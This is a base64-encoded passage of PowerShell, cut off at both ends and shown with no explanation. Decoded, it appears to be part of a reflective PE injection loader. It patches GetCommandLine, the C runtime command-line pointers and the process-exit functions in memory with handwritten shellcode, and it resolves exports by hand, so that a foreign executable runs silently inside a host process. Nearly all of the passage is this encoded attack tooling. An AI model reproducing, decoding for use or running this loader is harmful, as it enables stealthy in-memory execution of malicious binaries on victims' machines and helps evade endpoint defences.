S2VybmVsMzIgaGFuZGxlIG51bGwiCgkJfQoJCQoJCVtJbnRQdHJdJEtlcm5lbEJhc2VIYW5kbGUg PSAkV2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgiS2VybmVsQmFzZS5kbGwi KQoJCWlmICgkS2VybmVsQmFzZUhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQl0aHJv dyAiS2VybmVsQmFzZSBoYW5kbGUgbnVsbCIKCQl9CgoKCgoJCSRDbWRMaW5lV0FyZ3NQdHIgPSBb U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJpbmdUb0hHbG9iYWxV bmkoJEV4ZUFyZ3VtZW50cykKCQkkQ21kTGluZUFBcmdzUHRyID0gW1N5c3RlbS5SdW50aW1lLklu dGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RyaW5nVG9IR2xvYmFsQW5zaSgkRXhlQXJndW1lbnRz KQoJCgkJW0ludFB0cl0kR2V0Q29tbWFuZExpbmVBQWRkciA9ICRXaW4zMkZ1bmN0aW9ucy5HZXRQ cm9jQWRkcmVzcy5JbnZva2UoJEtlcm5lbEJhc2VIYW5kbGUsICJHZXRDb21tYW5kTGluZUEiKQoJ CVtJbnRQdHJdJEdldENvbW1hbmRMaW5lV0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0Fk ZHJlc3MuSW52b2tlKCRLZXJuZWxCYXNlSGFuZGxlLCAiR2V0Q29tbWFuZExpbmVXIikKCgkJaWYg KCRHZXRDb21tYW5kTGluZUFBZGRyIC1lcSBbSW50UHRyXTo6WmVybyAtb3IgJEdldENvbW1hbmRM aW5lV0FkZHIgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJdGhyb3cgIkdldENvbW1hbmRMaW5l IHB0ciBudWxsLiBHZXRDb21tYW5kTGluZUE6ICRHZXRDb21tYW5kTGluZUFBZGRyLiBHZXRDb21t YW5kTGluZVc6ICRHZXRDb21tYW5kTGluZVdBZGRyIgoJCX0KCgoJCVtCeXRlW11dJFNoZWxsY29k ZTEgPSBAKCkKCQlpZiAoJFB0clNpemUgLWVxIDgpCgkJewoJCQkkU2hlbGxjb2RlMSArPSAweDQ4 CSM2NGJpdCBzaGVsbGNvZGUgaGFzIHRoZSAweDQ4IGJlZm9yZSB0aGUgMHhiOAoJCX0KCQkkU2hl bGxjb2RlMSArPSAweGI4CgkJCgkJW0J5dGVbXV0kU2hlbGxjb2RlMiA9IEAoMHhjMykKCQkkVG90 YWxTaXplID0gJFNoZWxsY29kZTEuTGVuZ3RoICsgJFB0clNpemUgKyAkU2hlbGxjb2RlMi5MZW5n dGgKCQkKCQkKCgkJJEdldENvbW1hbmRMaW5lQU9yaWdCeXRlc1B0ciA9IFtTeXN0ZW0uUnVudGlt ZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkVG90YWxTaXplKQoJCSRH ZXRDb21tYW5kTGluZVdPcmlnQnl0ZXNQdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZp Y2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFRvdGFsU2l6ZSkKCQkkV2luMzJGdW5jdGlvbnMu bWVtY3B5Lkludm9rZSgkR2V0Q29tbWFuZExpbmVBT3JpZ0J5dGVzUHRyLCAkR2V0Q29tbWFuZExp bmVBQWRkciwgW1VJbnQ2NF0kVG90YWxTaXplKSB8IE91dC1OdWxsCgkJJFdpbjMyRnVuY3Rpb25z Lm1lbWNweS5JbnZva2UoJEdldENvbW1hbmRMaW5lV09yaWdCeXRlc1B0ciwgJEdldENvbW1hbmRM aW5lV0FkZHIsIFtVSW50NjRdJFRvdGFsU2l6ZSkgfCBPdXQtTnVsbAoJCSRSZXR1cm5BcnJheSAr PSAsKCRHZXRDb21tYW5kTGluZUFBZGRyLCAkR2V0Q29tbWFuZExpbmVBT3JpZ0J5dGVzUHRyLCAk VG90YWxTaXplKQoJCSRSZXR1cm5BcnJheSArPSAsKCRHZXRDb21tYW5kTGluZVdBZGRyLCAkR2V0 Q29tbWFuZExpbmVXT3JpZ0J5dGVzUHRyLCAkVG90YWxTaXplKQoKCgkJW1VJbnQzMl0kT2xkUHJv dGVjdEZsYWcgPSAwCgkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbFByb3RlY3Qu SW52b2tlKCRHZXRDb21tYW5kTGluZUFBZGRyLCBbVUludDMyXSRUb3RhbFNpemUsIFtVSW50MzJd KCRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRFKSwgW1JlZl0kT2xkUHJvdGVj dEZsYWcpCgkJaWYgKCRTdWNjZXNzID0gJGZhbHNlKQoJCXsKCQkJdGhyb3cgIkNhbGwgdG8gVmly dHVhbFByb3RlY3QgZmFpbGVkIgoJCX0KCQkKCQkkR2V0Q29tbWFuZExpbmVBQWRkclRlbXAgPSAk R2V0Q29tbWFuZExpbmVBQWRkcgoJCVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRTaGVsbGNv ZGUxIC1NZW1vcnlBZGRyZXNzICRHZXRDb21tYW5kTGluZUFBZGRyVGVtcAoJCSRHZXRDb21tYW5k TGluZUFBZGRyVGVtcCA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRHZXRDb21tYW5kTGluZUFB ZGRyVGVtcCAoJFNoZWxsY29kZTEuTGVuZ3RoKQoJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2Vy dmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRyKCRDbWRMaW5lQUFyZ3NQdHIsICRHZXRDb21t YW5kTGluZUFBZGRyVGVtcCwgJGZhbHNlKQoJCSRHZXRDb21tYW5kTGluZUFBZGRyVGVtcCA9IEFk ZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRHZXRDb21tYW5kTGluZUFBZGRyVGVtcCAkUHRyU2l6ZQoJ CVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRTaGVsbGNvZGUyIC1NZW1vcnlBZGRyZXNzICRH ZXRDb21tYW5kTGluZUFBZGRyVGVtcAoJCQoJCSRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVj dC5JbnZva2UoJEdldENvbW1hbmRMaW5lQUFkZHIsIFtVSW50MzJdJFRvdGFsU2l6ZSwgW1VJbnQz Ml0kT2xkUHJvdGVjdEZsYWcsIFtSZWZdJE9sZFByb3RlY3RGbGFnKSB8IE91dC1OdWxsCgkJCgkJ CgoJCVtVSW50MzJdJE9sZFByb3RlY3RGbGFnID0gMAoJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rp b25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkR2V0Q29tbWFuZExpbmVXQWRkciwgW1VJbnQzMl0k VG90YWxTaXplLCBbVUludDMyXSgkV2luMzJDb25zdGFudHMuUEFHRV9FWEVDVVRFX1JFQURXUklU RSksIFtSZWZdJE9sZFByb3RlY3RGbGFnKQoJCWlmICgkU3VjY2VzcyA9ICRmYWxzZSkKCQl7CgkJ CXRocm93ICJDYWxsIHRvIFZpcnR1YWxQcm90ZWN0IGZhaWxlZCIKCQl9CgkJCgkJJEdldENvbW1h bmRMaW5lV0FkZHJUZW1wID0gJEdldENvbW1hbmRMaW5lV0FkZHIKCQlXcml0ZS1CeXRlc1RvTWVt b3J5IC1CeXRlcyAkU2hlbGxjb2RlMSAtTWVtb3J5QWRkcmVzcyAkR2V0Q29tbWFuZExpbmVXQWRk clRlbXAKCQkkR2V0Q29tbWFuZExpbmVXQWRkclRlbXAgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25l ZCAkR2V0Q29tbWFuZExpbmVXQWRkclRlbXAgKCRTaGVsbGNvZGUxLkxlbmd0aCkKCQlbU3lzdGVt LlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkQ21kTGlu ZVdBcmdzUHRyLCAkR2V0Q29tbWFuZExpbmVXQWRkclRlbXAsICRmYWxzZSkKCQkkR2V0Q29tbWFu ZExpbmVXQWRkclRlbXAgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkR2V0Q29tbWFuZExpbmVX QWRkclRlbXAgJFB0clNpemUKCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkU2hlbGxjb2Rl MiAtTWVtb3J5QWRkcmVzcyAkR2V0Q29tbWFuZExpbmVXQWRkclRlbXAKCQkKCQkkV2luMzJGdW5j dGlvbnMuVmlydHVhbFByb3RlY3QuSW52b2tlKCRHZXRDb21tYW5kTGluZVdBZGRyLCBbVUludDMy XSRUb3RhbFNpemUsIFtVSW50MzJdJE9sZFByb3RlY3RGbGFnLCBbUmVmXSRPbGRQcm90ZWN0Rmxh ZykgfCBPdXQtTnVsbAoKCQkKCQkKCgoKCgoJCSREbGxMaXN0ID0gQCgibXN2Y3I3MGQuZGxsIiwg Im1zdmNyNzFkLmRsbCIsICJtc3ZjcjgwZC5kbGwiLCAibXN2Y3I5MGQuZGxsIiwgIm1zdmNyMTAw ZC5kbGwiLCAibXN2Y3IxMTBkLmRsbCIsICJtc3ZjcjcwLmRsbCIgYAoJCQksICJtc3ZjcjcxLmRs bCIsICJtc3ZjcjgwLmRsbCIsICJtc3ZjcjkwLmRsbCIsICJtc3ZjcjEwMC5kbGwiLCAibXN2Y3Ix MTAuZGxsIikKCQkKCQlmb3JlYWNoICgkRGxsIGluICREbGxMaXN0KQoJCXsKCQkJW0ludFB0cl0k RGxsSGFuZGxlID0gJFdpbjMyRnVuY3Rpb25zLkdldE1vZHVsZUhhbmRsZS5JbnZva2UoJERsbCkK CQkJaWYgKCREbGxIYW5kbGUgLW5lIFtJbnRQdHJdOjpaZXJvKQoJCQl7CgkJCQlbSW50UHRyXSRX Q21kTG5BZGRyID0gJFdpbjMyRnVuY3Rpb25zLkdldFByb2NBZGRyZXNzLkludm9rZSgkRGxsSGFu ZGxlLCAiX3djbWRsbiIpCgkJCQlbSW50UHRyXSRBQ21kTG5BZGRyID0gJFdpbjMyRnVuY3Rpb25z LkdldFByb2NBZGRyZXNzLkludm9rZSgkRGxsSGFuZGxlLCAiX2FjbWRsbiIpCgkJCQlpZiAoJFdD bWRMbkFkZHIgLWVxIFtJbnRQdHJdOjpaZXJvIC1vciAkQUNtZExuQWRkciAtZXEgW0ludFB0cl06 Olplcm8pCgkJCQl7CgkJCQkJIkVycm9yLCBjb3VsZG4ndCBmaW5kIF93Y21kbG4gb3IgX2FjbWRs biIKCQkJCX0KCQkJCQoJCQkJJE5ld0FDbWRMblB0ciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w U2VydmljZXMuTWFyc2hhbF06OlN0cmluZ1RvSEdsb2JhbEFuc2koJEV4ZUFyZ3VtZW50cykKCQkJ CSROZXdXQ21kTG5QdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd OjpTdHJpbmdUb0hHbG9iYWxVbmkoJEV4ZUFyZ3VtZW50cykKCQkJCQoKCQkJCSRPcmlnQUNtZExu UHRyID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1 Y3R1cmUoJEFDbWRMbkFkZHIsIFtUeXBlXVtJbnRQdHJdKQoJCQkJJE9yaWdXQ21kTG5QdHIgPSBb U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgk V0NtZExuQWRkciwgW1R5cGVdW0ludFB0cl0pCgkJCQkkT3JpZ0FDbWRMblB0clN0b3JhZ2UgPSBb U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFB0 clNpemUpCgkJCQkkT3JpZ1dDbWRMblB0clN0b3JhZ2UgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJv cFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFB0clNpemUpCgkJCQlbU3lzdGVtLlJ1 bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkT3JpZ0FDbWRM blB0ciwgJE9yaWdBQ21kTG5QdHJTdG9yYWdlLCAkZmFsc2UpCgkJCQlbU3lzdGVtLlJ1bnRpbWUu SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkT3JpZ1dDbWRMblB0ciwg JE9yaWdXQ21kTG5QdHJTdG9yYWdlLCAkZmFsc2UpCgkJCQkkUmV0dXJuQXJyYXkgKz0gLCgkQUNt ZExuQWRkciwgJE9yaWdBQ21kTG5QdHJTdG9yYWdlLCAkUHRyU2l6ZSkKCQkJCSRSZXR1cm5BcnJh eSArPSAsKCRXQ21kTG5BZGRyLCAkT3JpZ1dDbWRMblB0clN0b3JhZ2UsICRQdHJTaXplKQoJCQkJ CgkJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJEFD bWRMbkFkZHIsIFtVSW50MzJdJFB0clNpemUsIFtVSW50MzJdKCRXaW4zMkNvbnN0YW50cy5QQUdF X0VYRUNVVEVfUkVBRFdSSVRFKSwgW1JlZl0kT2xkUHJvdGVjdEZsYWcpCgkJCQlpZiAoJFN1Y2Nl c3MgPSAkZmFsc2UpCgkJCQl7CgkJCQkJdGhyb3cgIkNhbGwgdG8gVmlydHVhbFByb3RlY3QgZmFp bGVkIgoJCQkJfQoJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6 U3RydWN0dXJlVG9QdHIoJE5ld0FDbWRMblB0ciwgJEFDbWRMbkFkZHIsICRmYWxzZSkKCQkJCSRX aW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJEFDbWRMbkFkZHIsIFtVSW50MzJd JFB0clNpemUsIFtVSW50MzJdKCRPbGRQcm90ZWN0RmxhZyksIFtSZWZdJE9sZFByb3RlY3RGbGFn KSB8IE91dC1OdWxsCgkJCQkKCQkJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQ cm90ZWN0Lkludm9rZSgkV0NtZExuQWRkciwgW1VJbnQzMl0kUHRyU2l6ZSwgW1VJbnQzMl0oJFdp bjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9SRUFEV1JJVEUpLCBbUmVmXSRPbGRQcm90ZWN0Rmxh ZykKCQkJCWlmICgkU3VjY2VzcyA9ICRmYWxzZSkKCQkJCXsKCQkJCQl0aHJvdyAiQ2FsbCB0byBW aXJ0dWFsUHJvdGVjdCBmYWlsZWQiCgkJCQl9CgkJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl cnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkTmV3V0NtZExuUHRyLCAkV0NtZExuQWRk ciwgJGZhbHNlKQoJCQkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkV0Nt ZExuQWRkciwgW1VJbnQzMl0kUHRyU2l6ZSwgW1VJbnQzMl0oJE9sZFByb3RlY3RGbGFnKSwgW1Jl Zl0kT2xkUHJvdGVjdEZsYWcpIHwgT3V0LU51bGwKCQkJfQoJCX0KCgkJCgkJCgoKCgkJJFJldHVy bkFycmF5ID0gQCgpCgkJJEV4aXRGdW5jdGlvbnMgPSBAKCkgI0FycmF5IG9mIGZ1bmN0aW9ucyB0 byBvdmVyd3JpdGUgc28gdGhlIHRocmVhZCBkb2Vzbid0IGV4aXQgdGhlIHByb2Nlc3MKCQkKCgkJ W0ludFB0cl0kTXNjb3JlZUhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5HZXRNb2R1bGVIYW5kbGUu SW52b2tlKCJtc2NvcmVlLmRsbCIpCgkJaWYgKCRNc2NvcmVlSGFuZGxlIC1lcSBbSW50UHRyXTo6 WmVybykKCQl7CgkJCXRocm93ICJtc2NvcmVlIGhhbmRsZSBudWxsIgoJCX0KCQlbSW50UHRyXSRD b3JFeGl0UHJvY2Vzc0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tl KCRNc2NvcmVlSGFuZGxlLCAiQ29yRXhpdFByb2Nlc3MiKQoJCWlmICgkQ29yRXhpdFByb2Nlc3NB ZGRyIC1lcSBbSW50UHRyXTo6WmVybykKCQl7CgkJCVRocm93ICJDb3JFeGl0UHJvY2VzcyBhZGRy ZXNzIG5vdCBmb3VuZCIKCQl9CgkJJEV4aXRGdW5jdGlvbnMgKz0gJENvckV4aXRQcm9jZXNzQWRk cgoJCQoKCQlbSW50UHRyXSRFeGl0UHJvY2Vzc0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJv Y0FkZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIkV4aXRQcm9jZXNzIikKCQlpZiAoJEV4 aXRQcm9jZXNzQWRkciAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQlUaHJvdyAiRXhpdFByb2Nl c3MgYWRkcmVzcyBub3QgZm91bmQiCgkJfQoJCSRFeGl0RnVuY3Rpb25zICs9ICRFeGl0UHJvY2Vz c0FkZHIKCQkKCQlbVUludDMyXSRPbGRQcm90ZWN0RmxhZyA9IDAKCQlmb3JlYWNoICgkUHJvY0V4 aXRGdW5jdGlvbkFkZHIgaW4gJEV4aXRGdW5jdGlvbnMpCgkJewoJCQkkUHJvY0V4aXRGdW5jdGlv bkFkZHJUbXAgPSAkUHJvY0V4aXRGdW5jdGlvbkFkZHIKCgoJCQlbQnl0ZVtdXSRTaGVsbGNvZGUx ID0gQCgweGJiKQoJCQlbQnl0ZVtdXSRTaGVsbGNvZGUyID0gQCgweGM2LCAweDAzLCAweDAxLCAw eDgzLCAweGVjLCAweDIwLCAweDgzLCAweGU0LCAweGMwLCAweGJiKQoKCQkJaWYgKCRQdHJTaXpl IC1lcSA4KQoJCQl7CgkJCQlbQnl0ZVtdXSRTaGVsbGNvZGUxID0gQCgweDQ4LCAweGJiKQoJCQkJ W0J5dGVbXV0kU2hlbGxjb2RlMiA9IEAoMHhjNiwgMHgwMywgMHgwMSwgMHg0OCwgMHg4MywgMHhl YywgMHgyMCwgMHg2NiwgMHg4MywgMHhlNCwgMHhjMCwgMHg0OCwgMHhiYikKCQkJfQoJCQlbQnl0 ZVtdXSRTaGVsbGNvZGUzID0gQCgweGZmLCAweGQzKQoJCQkkVG90YWxTaXplID0gJFNoZWxsY29k ZTEuTGVuZ3RoICsgJFB0clNpemUgKyAkU2hlbGxjb2RlMi5MZW5ndGggKyAkUHRyU2l6ZSArICRT aGVsbGNvZGUzLkxlbmd0aAoJCQkKCQkJW0ludFB0cl0kRXhpdFRocmVhZEFkZHIgPSAkV2luMzJG dW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIkV4aXRUaHJl YWQiKQoJCQlpZiAoJEV4aXRUaHJlYWRBZGRyIC1lcSBbSW50UHRyXTo6WmVybykKCQkJewoJCQkJ VGhyb3cgIkV4aXRUaHJlYWQgYWRkcmVzcyBub3QgZm91bmQiCgkJCX0KCgkJCSRTdWNjZXNzID0g JFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkUHJvY0V4aXRGdW5jdGlvbkFk ZHIsIFtVSW50MzJdJFRvdGFsU2l6ZSwgW1VJbnQzMl0kV2luMzJDb25zdGFudHMuUEFHRV9FWEVD VVRFX1JFQURXUklURSwgW1JlZl0kT2xkUHJvdGVjdEZsYWcpCgkJCWlmICgkU3VjY2VzcyAtZXEg JGZhbHNlKQoJCQl7CgkJCQlUaHJvdyAiQ2FsbCB0byBWaXJ0dWFsUHJvdGVjdCBmYWlsZWQiCgkJ CX0KCQkJCgoJCQkkRXhpdFByb2Nlc3NPcmlnQnl0ZXNQdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50 ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFRvdGFsU2l6ZSkKCQkJJFdpbjMy RnVuY3Rpb25zLm1lbWNweS5JbnZva2UoJEV4aXRQcm9jZXNzT3JpZ0J5dGVzUHRyLCAkUHJvY0V4 aXRGdW5jdGlvbkFkZHIsIFtVSW50NjRdJFRvdGFsU2l6ZSkgfCBPdXQtTnVsbAoJCQkkUmV0dXJu QXJyYXkgKz0gLCgkUHJvY0V4aXRGdW5jdGlvbkFkZHIsICRFeGl0UHJvY2Vzc09yaWdCeXRlc1B0 ciwgJFRvdGFsU2l6ZSkKCQkJCgoKCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJFNoZWxs Y29kZTEgLU1lbW9yeUFkZHJlc3MgJFByb2NFeGl0RnVuY3Rpb25BZGRyVG1wCgkJCSRQcm9jRXhp dEZ1bmN0aW9uQWRkclRtcCA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRQcm9jRXhpdEZ1bmN0 aW9uQWRkclRtcCAoJFNoZWxsY29kZTEuTGVuZ3RoKQoJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJv cFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkRXhlRG9uZUJ5dGVQdHIsICRQcm9j RXhpdEZ1bmN0aW9uQWRkclRtcCwgJGZhbHNlKQoJCQkkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAg PSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgJFB0clNp emUKCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJFNoZWxsY29kZTIgLU1lbW9yeUFkZHJl c3MgJFByb2NFeGl0RnVuY3Rpb25BZGRyVG1wCgkJCSRQcm9jRXhpdEZ1bmN0aW9uQWRkclRtcCA9 IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRQcm9jRXhpdEZ1bmN0aW9uQWRkclRtcCAoJFNoZWxs Y29kZTIuTGVuZ3RoKQoJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd OjpTdHJ1Y3R1cmVUb1B0cigkRXhpdFRocmVhZEFkZHIsICRQcm9jRXhpdEZ1bmN0aW9uQWRkclRt cCwgJGZhbHNlKQoJCQkkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgPSBBZGQtU2lnbmVkSW50QXNV bnNpZ25lZCAkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgJFB0clNpemUKCQkJV3JpdGUtQnl0ZXNU b01lbW9yeSAtQnl0ZXMgJFNoZWxsY29kZTMgLU1lbW9yeUFkZHJlc3MgJFByb2NFeGl0RnVuY3Rp b25BZGRyVG1wCgoJCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbFByb3RlY3QuSW52b2tlKCRQcm9j RXhpdEZ1bmN0aW9uQWRkciwgW1VJbnQzMl0kVG90YWxTaXplLCBbVUludDMyXSRPbGRQcm90ZWN0 RmxhZywgW1JlZl0kT2xkUHJvdGVjdEZsYWcpIHwgT3V0LU51bGwKCQl9CgoKCQlXcml0ZS1PdXRw dXQgJFJldHVybkFycmF5Cgl9CgkKCQoKCglGdW5jdGlvbiBDb3B5LUFycmF5T2ZNZW1BZGRyZXNz ZXMKCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRy dWUpXQoJCVtBcnJheVtdXQoJCSRDb3B5SW5mbywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0g MSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMkZ1bmN0aW9u cywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtT eXN0ZW0uT2JqZWN0XQoJCSRXaW4zMkNvbnN0YW50cwoJCSkKCgkJW1VJbnQzMl0kT2xkUHJvdGVj dEZsYWcgPSAwCgkJZm9yZWFjaCAoJEluZm8gaW4gJENvcHlJbmZvKQoJCXsKCQkJJFN1Y2Nlc3Mg PSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbFByb3RlY3QuSW52b2tlKCRJbmZvWzBdLCBbVUludDMy XSRJbmZvWzJdLCBbVUludDMyXSRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRF LCBbUmVmXSRPbGRQcm90ZWN0RmxhZykKCQkJaWYgKCRTdWNjZXNzIC1lcSAkZmFsc2UpCgkJCXsK CQkJCVRocm93ICJDYWxsIHRvIFZpcnR1YWxQcm90ZWN0IGZhaWxlZCIKCQkJfQoJCQkKCQkJJFdp bjMyRnVuY3Rpb25zLm1lbWNweS5JbnZva2UoJEluZm9bMF0sICRJbmZvWzFdLCBbVUludDY0XSRJ bmZvWzJdKSB8IE91dC1OdWxsCgkJCQoJCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbFByb3RlY3Qu SW52b2tlKCRJbmZvWzBdLCBbVUludDMyXSRJbmZvWzJdLCBbVUludDMyXSRPbGRQcm90ZWN0Rmxh ZywgW1JlZl0kT2xkUHJvdGVjdEZsYWcpIHwgT3V0LU51bGwKCQl9Cgl9CgoKCgoKCUZ1bmN0aW9u IEdldC1NZW1vcnlQcm9jQWRkcmVzcwoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24g PSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW0ludFB0cl0KCQkkUEVIYW5kbGUsCgkJCgkJW1Bh cmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSRG dW5jdGlvbk5hbWUKCQkpCgkJCgkJJFdpbjMyVHlwZXMgPSBHZXQtV2luMzJUeXBlcwoJCSRXaW4z MkNvbnN0YW50cyA9IEdldC1XaW4zMkNvbnN0YW50cwoJCSRQRUluZm8gPSBHZXQtUEVEZXRhaWxl ZEluZm8gLVBFSGFuZGxlICRQRUhhbmRsZSAtV2luMzJUeXBlcyAkV2luMzJUeXBlcyAtV2luMzJD b25zdGFudHMgJFdpbjMyQ29uc3RhbnRzCgkJCgoJCWlmICgkUEVJbmZvLklNQUdFX05UX0hFQURF UlMuT3B0aW9uYWxIZWFkZXIuRXhwb3J0VGFibGUuU2l6ZSAtZXEgMCkKCQl7CgkJCXJldHVybiBb SW50UHRyXTo6WmVybwoJCX0KCQkkRXhwb3J0VGFibGVQdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNp Z25lZCAoJFBFSGFuZGxlKSAoJFBFSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVy LkV4cG9ydFRhYmxlLlZpcnR1YWxBZGRyZXNzKQoJCSRFeHBvcnRUYWJsZSA9IFtTeXN0ZW0uUnVu dGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRFeHBvcnRUYWJs ZVB0ciwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfRVhQT1JUX0RJUkVDVE9SWSkKCQkKCQlmb3Ig KCRpID0gMDsgJGkgLWx0ICRFeHBvcnRUYWJsZS5OdW1iZXJPZk5hbWVzOyAkaSsrKQoJCXsKCgkJ CSROYW1lT2Zmc2V0UHRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRQRUhhbmRsZSkgKCRF eHBvcnRUYWJsZS5BZGRyZXNzT2ZOYW1lcyArICgkaSAqIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w U2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV1bVUludDMyXSkpKQoJCQkkTmFtZVB0ciA9 IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVIYW5kbGUpIChbU3lzdGVtLlJ1bnRpbWUuSW50 ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkTmFtZU9mZnNldFB0ciwgW1R5 cGVdW1VJbnQzMl0pKQoJCQkkTmFtZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMu TWFyc2hhbF06OlB0clRvU3RyaW5nQW5zaSgkTmFtZVB0cikKCgkJCWlmICgkTmFtZSAtY2VxICRG dW5jdGlvbk5hbWUpCgkJCXsKCgoJCQkJJE9yZGluYWxQdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNp Z25lZCAoJFBFSGFuZGxlKSAoJEV4cG9ydFRhYmxlLkFkZHJlc3NPZk5hbWVPcmRpbmFscyArICgk aSAqIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlw ZV1bVUludDE2XSkpKQoJCQkJJEZ1bmNJbmRleCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2Vy 